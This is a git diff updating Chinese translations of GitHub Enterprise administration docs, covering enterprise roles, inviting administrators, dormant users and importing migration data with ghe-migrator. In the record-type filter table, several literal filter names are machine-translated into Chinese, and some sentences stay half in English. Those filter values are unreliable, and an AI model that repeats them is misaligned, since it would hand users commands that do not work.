   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise
   - /enterprise/admin/guides/user-management/enabling-avatars-and-identicons
@@ -33,5 +33,6 @@ children:
   - /auditing-ssh-keys
   - /customizing-user-messages-for-your-enterprise
   - /rebuilding-contributions-data
-shortTitle: Manage users
+shortTitle: 管理用户
 ---
+
diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
index bdb7d0b4f9..cbc322531f 100644
--- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
+++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
-title: Inviting people to manage your enterprise
-intro: 'You can {% ifversion ghec %}invite people to become enterprise owners or billing managers for{% elsif ghes %}add enterprise owners to{% endif %} your enterprise account. You can also remove enterprise owners {% ifversion ghec %}or billing managers {% endif %}who no longer need access to the enterprise account.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+title: 邀请人员管理企业
+intro: '您可以 {% ifversion ghec %}邀请人们成为企业所有者或帐单管理员，以{% elsif ghes %}添加企业所有者到{% endif %}企业帐户。 也可以删除不再需要访问企业帐户的企业所有者{% ifversion ghec %}或帐单管理员{% endif %}。'
 permissions: 'Enterprise owners can {% ifversion ghec %}invite other people to become{% elsif ghes %}add{% endif %} additional enterprise administrators.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise
@@ -17,64 +16,59 @@ topics:
   - Administrator
   - Enterprise
   - User account
-shortTitle: Invite people to manage
+shortTitle: 邀请人员进行管理
 ---
 
-## About users who can manage your enterprise account
+## 关于可以管理企业帐户的用户
 
-{% data reusables.enterprise-accounts.enterprise-administrators %} For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
+{% data reusables.enterprise-accounts.enterprise-administrators %} 更多信息请参阅“[企业中的角色](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)”。
 
 {% ifversion ghes %}
 
-If you want to manage owners and billing managers for an enterprise account on {% data variables.product.prodname_dotcom_the_website %}, see "[Inviting people to manage your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
+如果您想在 {% data variables.product.prodname_dotcom_the_website %} 上管理企业帐户的所有者和帐单管理员，请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[邀请人们管理您的企业](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)”。
 
 {% endif %}
 
 {% ifversion ghec %}
 
-If your enterprise uses {% data variables.product.prodname_emus %}, enterprise owners can only be added or removed through your identity provider. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+如果您的企业使用 {% data variables.product.prodname_emus %}，企业所有者只能通过您的身份提供商添加或删除。 更多信息请参阅“[关于 {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)”。
 
 {% endif %}
 
 {% tip %}
 
-**Tip:** For more information on managing users within an organization owned by your enterprise account, see "[Managing membership in your organization](/articles/managing-membership-in-your-organization)" and "[Managing people's access to your organization with roles](/articles/managing-peoples-access-to-your-organization-with-roles)."
+**提示：**有关管理企业帐户拥有的组织中用户的更多信息，请参阅“[管理组织中的成员资格](/articles/managing-membership-in-your-organization)”和“[通过角色管理人们对组织的访问](/articles/managing-peoples-access-to-your-organization-with-roles)”。
 
 {% endtip %}
 
-## {% ifversion ghec %}Inviting{% elsif ghes %}Adding{% endif %} an enterprise administrator to your enterprise account
+## {% ifversion ghec %}邀请{% elsif ghes %}添加{% endif %} 企业管理员到您的企业帐户
 
-{% ifversion ghec %}After you invite someone to join the enterprise account, they must accept the emailed invitation before they can access the enterprise account. Pending invitations will expire after 7 days.{% endif %}
+{% ifversion ghec %}在邀请别人加入企业帐户后，他们必须接受电子邮件邀请，然后才可访问企业帐户。 Pending invitations will expire after 7 days.{% endif %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.people-tab %}
-1. In the left sidebar, click **Administrators**.
-  ![Administrators tab in the left sidebar](/assets/images/help/business-accounts/administrators-tab.png)
-1. Above the list of administrators, click {% ifversion ghec %}**Invite admin**{% elsif ghes %}**Add owner**{% endif %}.
+1. 在左侧边栏中，单击 **Administrators（管理员）**。 ![左侧边栏中的管理员选项卡](/assets/images/help/business-accounts/administrators-tab.png)
+1. 在管理员列表上方，单击 {% ifversion ghec %}**邀请管理员**{% elsif ghes %}**添加所有者**{% endif %}。
   {% ifversion ghec %}
-  !["Invite admin" button above the list of enterprise owners](/assets/images/help/business-accounts/invite-admin-button.png)
+  ![企业所有者列表上方的"邀请管理员"按钮](/assets/images/help/business-accounts/invite-admin-button.png)
   {% elsif ghes %}
-  !["Add owner" button above the list of enterprise owners](/assets/images/help/business-accounts/add-owner-button.png)
+  ![企业所有者列表上方的"添加所有者"按钮](/assets/images/help/business-accounts/add-owner-button.png)
   {% endif %}
-1. Type the username, full name, or email address of the person you want to invite to become an enterprise administrator, then select the appropriate person from the results.
-  ![Modal box with field to type a person's username, full name, or email address, and Invite button](/assets/images/help/business-accounts/invite-admins-modal-button.png){% ifversion ghec %}
-1. Select **Owner** or **Billing Manager**.
-  ![Modal box with role choices](/assets/images/help/business-accounts/invite-admins-roles.png)
-1. Click **Send Invitation**.
-  ![Send invitation button](/assets/images/help/business-accounts/invite-admins-send-invitation.png){% endif %}{% ifversion ghes %}
-1. Click **Add**.
-  !["Add" button](/assets/images/help/business-accounts/add-administrator-add-button.png){% endif %}
+1. 输入您要邀请其成为企业管理员的人员的用户名、全名或电子邮件地址，然后从结果中选择适当的人员。 ![Modal box with field to type a person's username, full name, or email address, and Invite button](/assets/images/help/business-accounts/invite-admins-modal-button.png){% ifversion ghec %}
+1. 选择 **Owner（所有者）**或 **Billing Manager（帐单管理员）**。 ![角色选择模态框](/assets/images/help/business-accounts/invite-admins-roles.png)
+1. 单击 **Send Invitation（发送邀请）**。 ![Send invitation button](/assets/images/help/business-accounts/invite-admins-send-invitation.png){% endif %}{% ifversion ghes %}
+1. 单击 **Add（添加）**。 !["Add" button](/assets/images/help/business-accounts/add-administrator-add-button.png){% endif %}
 
-## Removing an enterprise administrator from your enterprise account
+## 从企业帐户删除企业管理员
 
-Only enterprise owners can remove other enterprise administrators from the enterprise account.
+只有企业所有者才可从企业帐户删除其他企业管理员。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.people-tab %}
-1. Next to the username of the person you'd like to remove, click {% octicon "gear" aria-label="The Settings gear" %}, then click **Remove owner**{% ifversion ghec %} or **Remove billing manager**{% endif %}.
+1. 在您要删除的人员用户名旁边，单击 {% octicon "gear" aria-label="The Settings gear" %}，然后单击 **Remove owner（删除所有者）**{% ifversion ghec %} 或**Remove billing manager（删除帐单管理员）**。{% endif %}
   {% ifversion ghec %}
-  ![Settings gear with menu option to remove an enterprise administrator](/assets/images/help/business-accounts/remove-admin.png)
+  ![包含删除企业管理员的菜单选项的设置齿轮](/assets/images/help/business-accounts/remove-admin.png)
   {% elsif ghes %}
-  ![Settings gear with menu option to remove an enterprise administrator](/assets/images/help/business-accounts/ghes-remove-owner.png)
+  ![包含删除企业管理员的菜单选项的设置齿轮](/assets/images/help/business-accounts/ghes-remove-owner.png)
   {% endif %}
-1. Read the confirmation, then click **Remove owner**{% ifversion ghec %} or **Remove billing manager**{% endif %}.
+1. 阅读确认，然后单击 **Remove owner（删除所有者）**{% ifversion ghec %} 或 **Remove billing manager（删除帐单管理员）**{% endif %}。
diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
index ce92ba1dc4..35b5499de5 100644
--- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
+++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
@@ -1,5 +1,5 @@
 ---
-title: Managing dormant users
+title: 管理休眠用户
 redirect_from:
   - /enterprise/admin/articles/dormant-users
   - /enterprise/admin/articles/viewing-dormant-users
@@ -17,29 +17,26 @@ topics:
   - Enterprise
   - Licensing
 ---
+
 {% data reusables.enterprise-accounts.dormant-user-activity %}
 
 {% ifversion ghes or ghae%}
-## Viewing dormant users
+## 查看休眠用户
 
 {% data reusables.enterprise-accounts.viewing-dormant-users %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-3. In the left sidebar, click **Dormant users**.
-![Dormant users tab](/assets/images/enterprise/site-admin-settings/dormant-users-tab.png){% ifversion ghes %}
-4. To suspend all the dormant users in this list, at the top of the page, click **Suspend all**.
-![Suspend all button](/assets/images/enterprise/site-admin-settings/suspend-all.png){% endif %}
+3. 在左侧边栏中，单击 **Dormant users**。 ![Dormant users tab](/assets/images/enterprise/site-admin-settings/dormant-users-tab.png){% ifversion ghes %}
+4. 要挂起此列表中的所有休眠用户，请在页面顶部单击 **Suspend all**。 ![Suspend all button](/assets/images/enterprise/site-admin-settings/suspend-all.png){% endif %}
 
-## Determining whether a user account is dormant
+## 确定用户帐户是否休眠
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.search-user %}
 {% data reusables.enterprise_site_admin_settings.click-user %}
-5. In the **User info** section, a red dot with the word "Dormant" indicates the user account is dormant, and a green dot with the word "Active" indicates the user account is active.
-![Dormant user account](/assets/images/enterprise/stafftools/dormant-user.png)
-![Active user account](/assets/images/enterprise/stafftools/active-user.png)
+5. 在 **User info** 部分中，后面为“Dormant”的红点表示该用户帐户为休眠状态，后面为“Active”的绿点表示该用户帐户处于活跃状态。 ![Dormant 用户帐户](/assets/images/enterprise/stafftools/dormant-user.png) ![Active 用户帐户](/assets/images/enterprise/stafftools/active-user.png)
 
-## Configuring the dormancy threshold
+## 配置休眠阈值
 
 {% data reusables.enterprise_site_admin_settings.dormancy-threshold %}
 
@@ -47,8 +44,7 @@ topics:
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Dormancy threshold", use the drop-down menu, and click the desired dormancy threshold.
-![The Dormancy threshold drop-down menu](/assets/images/enterprise/site-admin-settings/dormancy-threshold-menu.png)
+4. 在“Dormancy threshold”，使用下拉菜单，然后单击所需的休眠阈值。 ![Dormancy threshold 下拉菜单](/assets/images/enterprise/site-admin-settings/dormancy-threshold-menu.png)
 
 {% endif %}
 
@@ -66,7 +62,6 @@ topics:
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %}
-1. To download your Dormant Users (beta) report as a CSV file, under "Other", click {% octicon "download" aria-label="The Download icon" %} **Download**.
-  ![Download button under "Other" on the Compliance page](/assets/images/help/business-accounts/dormant-users-download-button.png)
+1. To download your Dormant Users (beta) report as a CSV file, under "Other", click {% octicon "download" aria-label="The Download icon" %} **Download**. ![Download button under "Other" on the Compliance page](/assets/images/help/business-accounts/dormant-users-download-button.png)
 
 {% endif %}
diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
index 49569ff7e7..0394f5aa69 100644
--- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
+++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: 管理企业的支持权限
 intro: 您可以授予企业会员管理企业账户支持事件单的能力。
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise
 versions:
diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
index fc57c1bf12..a4eeaf8d14 100644
--- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
+++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
@@ -1,6 +1,6 @@
 ---
-title: Rebuilding contributions data
-intro: You may need to rebuild contributions data to link existing commits to a user account.
+title: 重构贡献数据
+intro: 您可以重构贡献数据，将现有提交链接到用户帐户。
 redirect_from:
   - /enterprise/admin/articles/rebuilding-contributions-data
   - /enterprise/admin/user-management/rebuilding-contributions-data
@@ -12,16 +12,15 @@ topics:
   - Enterprise
   - Repositories
   - User account
-shortTitle: Rebuild contributions
+shortTitle: 重建贡献
 ---
-Whenever a commit is pushed to {% data variables.product.prodname_enterprise %}, it is linked to a user account if they are both associated with the same email address. However, existing commits are *not* retroactively linked when a user registers a new email address or creates a new account.
 
-1. Visit the user's profile page.
+将提交推送到 {% data variables.product.prodname_enterprise %} 时，如果新提交和现有提交关联到同一个电子邮件地址，此提交会链接到用户帐户。 不过，在用户注册新电子邮件地址或创建新帐户时，*不会*追溯地链接现有提交。
+
+1. 访问用户的个人资料页面。
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-3. On the left side of the page, click **Admin**.
-  ![Admin tab](/assets/images/enterprise/site-admin-settings/admin-tab.png)
-4. Under **Contributions data**, click **Rebuild**.
-![Rebuild button](/assets/images/enterprise/site-admin-settings/rebuild-button.png)
+3. 在页面的左侧，单击 **Admin**。 ![Admin 选项卡](/assets/images/enterprise/site-admin-settings/admin-tab.png)
+4. 在 **Contributions data** 下，单击 **Rebuild**。 ![Rebuild 按钮](/assets/images/enterprise/site-admin-settings/rebuild-button.png)
 
-{% data variables.product.prodname_enterprise %} will now start background jobs to re-link commits with that user's account.
-  ![Queued rebuild jobs](/assets/images/enterprise/site-admin-settings/rebuild-jobs.png)
+{% data variables.product.prodname_enterprise %} 现在会开始后台作业，将提交与用户帐户重新关联。
+  ![已排队的重构作业](/assets/images/enterprise/site-admin-settings/rebuild-jobs.png)
diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
index e1586d12d0..4ebd5860df 100644
--- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
+++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
@@ -1,7 +1,6 @@
 ---
-title: Roles in an enterprise
-intro: 'Everyone in an enterprise is a member of the enterprise. To control access to your enterprise''s settings and data, you can assign different roles to members of your enterprise.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+title: 企业中的角色
+intro: 企业中的每个人都是企业的成员。 要控制对企业的设置和数据的访问权限，您可以为企业成员分配不同的角色。
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise
   - /github/setting-up-and-managing-your-enterprise-account/roles-for-an-enterprise-account
@@ -16,61 +15,61 @@ topics:
   - Enterprise
 ---
 
-## About roles in an enterprise
+## 关于企业中的角色
 
-Everyone in an enterprise is a member of the enterprise. You can also assign administrative roles to members of your enterprise. Each administrator role maps to business functions and provides permissions to do specific tasks within the enterprise.
+企业中的每个人都是企业的成员。 您还可以为企业成员分配管理角色。 每个管理员角色都映射到业务职能，并提供在企业中执行特定任务的权限。
 
 {% data reusables.enterprise-accounts.enterprise-administrators %}
 
 {% ifversion ghec %}
-If your enterprise does not use {% data variables.product.prodname_emus %}, you can invite someone to an administrative role using a user account on {% data variables.product.product_name %} that they control. For more information, see "[Inviting people to manage your enterprise](/github/setting-up-and-managing-your-enterprise/inviting-people-to-manage-your-enterprise)".
+如果您的企业没有使用 {% data variables.product.prodname_emus %}，您可以邀请他人使用他们控制的 {% data variables.product.product_name %} 用户帐户来管理角色。 更多信息请参阅“[邀请人们管理您的企业](/github/setting-up-and-managing-your-enterprise/inviting-people-to-manage-your-enterprise)”。
 
-In an enterprise using {% data variables.product.prodname_emus %}, new owners and members must be provisioned through your identity provider. Enterprise owners and organization owners cannot add new members or owners to the enterprise using {% data variables.product.prodname_dotcom %}. You can select a member's enterprise role using your IdP and it cannot be changed on {% data variables.product.prodname_dotcom %}. You can select a member's role in an organization on {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+在使用 {% data variables.product.prodname_emus %} 的企业中，必须通过身份提供商预配新所有者和成员。 企业所有者和组织所有者不能使用 {% data variables.product.prodname_dotcom %} 向企业添加新成员或所有者。 您可以使用 IdP 选择成员的企业角色，它不能在 {% data variables.product.prodname_dotcom %} 上更改。 您可以在 {% data variables.product.prodname_dotcom %} 上选择成员在组织中的角色。 更多信息请参阅“[关于 {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)”。
 {% else %}
-For more information about adding people to your enterprise, see "[Authentication](/admin/authentication)".
+有关向企业添加人员的更多信息，请参阅“[身份验证](/admin/authentication)”。
 
 {% endif %}
 
-## Enterprise owner
+## 企业所有者
 
-Enterprise owners have complete control over the enterprise and can take every action, including:
-- Managing administrators
+企业所有者可以完全控制企业，并可以采取所有操作，包括：
+- 管理管理员
 - {% ifversion ghec %}Adding and removing {% elsif ghae or ghes %}Managing{% endif %} organizations {% ifversion ghec %}to and from {% elsif ghae or ghes %} in{% endif %} the enterprise
-- Managing enterprise settings
-- Enforcing policy across organizations
-{% ifversion ghec %}- Managing billing settings{% endif %}
+- 管理企业设置
+- 在组织范围内强制实施政策
+{% ifversion ghec %}- 管理帐单设置{% endif %}
 
-Enterprise owners cannot access organization settings or content unless they are made an organization owner or given direct access to an organization-owned repository. Similarly, owners of organizations in your enterprise do not have access to the enterprise itself unless you make them enterprise owners.
+企业所有者无法访问组织设置或内容，除非将其设为组织所有者或授予直接访问组织所拥有仓库的权限。 同样，除非您将其设为企业所有者，否则企业中的组织所有者无权访问企业。
 
-An enterprise owner will only consume a license if they are an owner or member of at least one organization within the enterprise. {% ifversion ghec %}Enterprise owners must have a personal account on {% data variables.product.prodname_dotcom %}.{% endif %} As a best practice, we recommend making only a few people in your company enterprise owners, to reduce the risk to your business.
+企业所有者仅在他们是企业中至少一个组织的所有者或成员时才可使用许可证。 Even if an enterprise owner has a role in multiple organizations, they will consume a single license. {% ifversion ghec %}企业所有者必须在 {% data variables.product.prodname_dotcom %} 上拥有个人帐户。{% endif %} 作为最佳实践，我们建议只将少数人设为公司的企业所有者，以降低业务风险。
 
-## Enterprise members
+## 企业成员
 
-Members of organizations owned by your enterprise are also automatically members of the enterprise. Members can collaborate in organizations and may be organization owners, but members cannot access or configure enterprise settings{% ifversion ghec %}, including billing settings{% endif %}.
+您的企业所拥有组织的成员也会自动成为企业的成员。 成员可以在组织中进行协作，也可以是组织所有者，但成员无法访问或配置企业设置{% ifversion ghec %}，包括计费设置{% endif %}。
 
-People in your enterprise may have different levels of access to the various organizations owned by your enterprise and to repositories within those organizations. You can view the resources that each person has access to. For more information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)."
+企业中的人员可能对您的企业拥有的各种组织以及这些组织中的仓库具有不同级别的访问权限。 您可以查看每个人具有访问权限的资源。 更多信息请参阅“[查看企业中的人员](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)”。
 
 For more information about organization-level permissions, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
 
-People with outside collaborator access to repositories owned by your organization are also listed in your enterprise's People tab, but are not enterprise members and do not have any access to the enterprise. For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
+对组织所拥有仓库具有外部协作者访问权限的人员也会在企业的 People（人员）选项卡中列出，但他们不是企业成员，也没有对企业的任何访问权限。 For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
 
 {% ifversion ghec %}
 
-## Billing manager
+## 帐单管理员
 
-Billing managers only have access to your enterprise's billing settings. Billing managers for your enterprise can:
-- View and manage user licenses, {% data variables.large_files.product_name_short %} packs and other billing settings
-- View a list of billing managers
-- Add or remove other billing managers
+帐单管理员只能访问企业的帐单设置。 企业的帐单管理员可以：
+- 查看和管理用户许可证、{% data variables.large_files.product_name_short %} 包以及其他计费设置
+- 查看帐单管理员列表
+- 添加或删除其他帐单管理员
 
-Billing managers will only consume a license if they are an owner or member of at least one organization within the enterprise. Billing managers do not have access to organizations or repositories in your enterprise, and cannot add or remove enterprise owners. Billing managers must have a personal account on {% data variables.product.prodname_dotcom %}.
+帐单管理员仅在他们是企业中至少一个组织的所有者或成员时才可使用许可证。 帐单管理员无权访问企业中的组织或仓库，也无法添加或删除企业所有者。 帐单管理员必须在 {% data variables.product.prodname_dotcom %} 上拥有个人帐户。
 
-## About support entitlements
+## 关于支持权利
 
 {% data reusables.enterprise-accounts.support-entitlements %}
 
-## Further reading
+## 延伸阅读
 
-- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)"
+- “[关于企业帐户](/admin/overview/about-enterprise-accounts)”
 
 {% endif %}
diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
index 1b5bab5a69..cca3c9668b 100644
--- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
+++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
@@ -2,7 +2,6 @@
 title: 查看和管理用户对企业的 SAML 访问
 intro: 您可以查看和撤销企业成员的链接身份、活动会话和授权凭据。
 permissions: Enterprise owners can view and manage a member's SAML access to an organization.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/viewing-and-managing-a-users-saml-access-to-your-enterprise-account
diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
index 7feaffb0b7..ea0a3cb447 100644
--- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
+++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: 查看企业中的人员
 intro: 要审核对企业拥有的资源或用户许可证使用的访问权限，企业所有者可以查看企业的每个管理员和成员。
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise-account/viewing-people-in-your-enterprise-account
   - /articles/viewing-people-in-your-enterprise-account
diff --git a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
index 2b27547b72..7ebd4da3a8 100644
--- a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
+++ b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating data to and from your enterprise
-intro: 'You can export user, organization, and repository data from {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_dotcom_the_website %}, then import that data into {% data variables.product.product_location %}.'
+title: 将数据迁移到企业或从企业迁移数据
+intro: '您可以从 {% data variables.product.prodname_ghe_server %} 或 {% data variables.product.prodname_dotcom_the_website %} 导出用户、组织和仓库数据，然后将此数据导入至 {% data variables.product.product_location %}。'
 redirect_from:
   - /enterprise/admin/articles/moving-a-repository-from-github-com-to-github-enterprise
   - /enterprise/admin/categories/migrations-and-upgrades
@@ -17,6 +17,6 @@ children:
   - /preparing-to-migrate-data-to-your-enterprise
   - /migrating-data-to-your-enterprise
   - /importing-data-from-third-party-version-control-systems
-shortTitle: Migration for an enterprise
+shortTitle: 为企业迁移
 ---
 
diff --git a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
index e6eedafa28..9ce7f46cc4 100644
--- a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
+++ b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating data to your enterprise
-intro: 'After generating a migration archive, you can import the data to your target {% data variables.product.prodname_ghe_server %} instance. You''ll be able to review changes for potential conflicts before permanently applying the changes to your target instance.'
+title: 将数据迁移到企业
+intro: '生成迁移存档后，您可以将数据导入目标 {% data variables.product.prodname_ghe_server %} 实例。 在将变更永久应用到目标实例之前，您需要检查变更，查看有无潜在的冲突。'
 redirect_from:
   - /enterprise/admin/guides/migrations/importing-migration-data-to-github-enterprise
   - /enterprise/admin/migrations/applying-the-imported-data-on-github-enterprise-server
@@ -18,94 +18,95 @@ type: how_to
 topics:
   - Enterprise
   - Migration
-shortTitle: Import to your enterprise
+shortTitle: 导入到您的企业
 ---
-## Applying the imported data on {% data variables.product.prodname_ghe_server %}
 
-Before you can migrate data to your enterprise, you must prepare the data and resolve any conflicts. For more information, see "[Preparing to migrate data to your enterprise](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)."
+## 在 {% data variables.product.prodname_ghe_server %} 上应用导入的数据
 
-After you prepare the data and resolve conflicts, you can apply the imported data on {% data variables.product.product_name %}.
+在将数据迁移到企业之前，您必须准备数据并解决任何冲突。 更多信息请参阅“[准备迁移数据到企业](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)”。
+
+在准备数据并解决冲突后，您可以将导入的数据应用于 {% data variables.product.product_name %}。
 
 {% data reusables.enterprise_installation.ssh-into-target-instance %}
 
-2. Using the `ghe-migrator import` command, start the import process. You'll need:
-    * Your Migration GUID. For more information, see "[Preparing to migrate data to your enterprise](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)."
-    * Your personal access token for authentication. The personal access token that you use is only for authentication as a site administrator, and does not require any specific scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+2. 使用 `ghe-migrator import` 命令启动导入过程。 您需要：
+    * 迁移 GUID. 更多信息请参阅“[准备迁移数据到企业](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)”。
+    * 用于身份验证的个人访问令牌。 您使用的个人访问令牌仅用于站点管理员身份验证，不需要任何特定范围。 更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。
 
     ```shell
     $ ghe-migrator import /home/admin/<em>MIGRATION_GUID</em>.tar.gz -g <em>MIGRATION_GUID</em> -u <em>username</em> -p <em>TOKEN</em>
-    
+
     > Starting GitHub::Migrator
     > Import 100% complete /
     ```
 
     * {% data reusables.enterprise_migrations.specify-staging-path %}
 
-## Reviewing migration data
+## 检查迁移数据
 
-By default, `ghe-migrator audit` returns every record. It also allows you to filter records by:
+默认情况下，`ghe-migrator audit` 将返回每一条记录。 它还可以让您按以下方式筛选记录：
 
-  * The types of records.
-  * The state of the records.
+  * 记录的类型。
+  * 记录的状态。
 
-The record types match those found in the [migrated data](/enterprise/admin/guides/migrations/about-migrations/#migrated-data).
+记录类型与[迁移的数据](/enterprise/admin/guides/migrations/about-migrations/#migrated-data)中的类型匹配。
 
-## Record type filters
+## 记录类型筛选器
 
-|      Record type      | Filter name  |
-|-----------------------|--------|
-| Users           | `user`
-| Organizations   | `organization`
-| Repositories    | `repository`
-| Teams           | `team`
-| Milestones      | `milestone`
-| Project boards  | `project`
-| Issues          | `issue`
-| Issue comments  | `issue_comment`
-| Pull requests   | `pull_request`
-| Pull request reviews | `pull_request_review`
-| Commit comments | `commit_comment`
-| Pull request review comments | `pull_request_review_comment`
-| Releases | `release`
-| Actions taken on pull requests or issues | `issue_event`
-| Protected branches | `protected_branch`
+| 记录类型           | 筛选器名称                         |
+| -------------- | ----------------------------- |
+| 用户             | `用户`                          |
+| 组织             | `组织`                          |
+| 仓库             | `仓库`                          |
+| 团队             | `团队`                          |
+| 里程碑            | `里程碑`                         |
+| 项目板            | `project`                     |
+| 议题             | `议题`                          |
+| 问题评论           | `issue_comment`               |
+| 拉取请求           | `pull_request`                |
+| 拉取请求审查         | `pull_request_review`         |
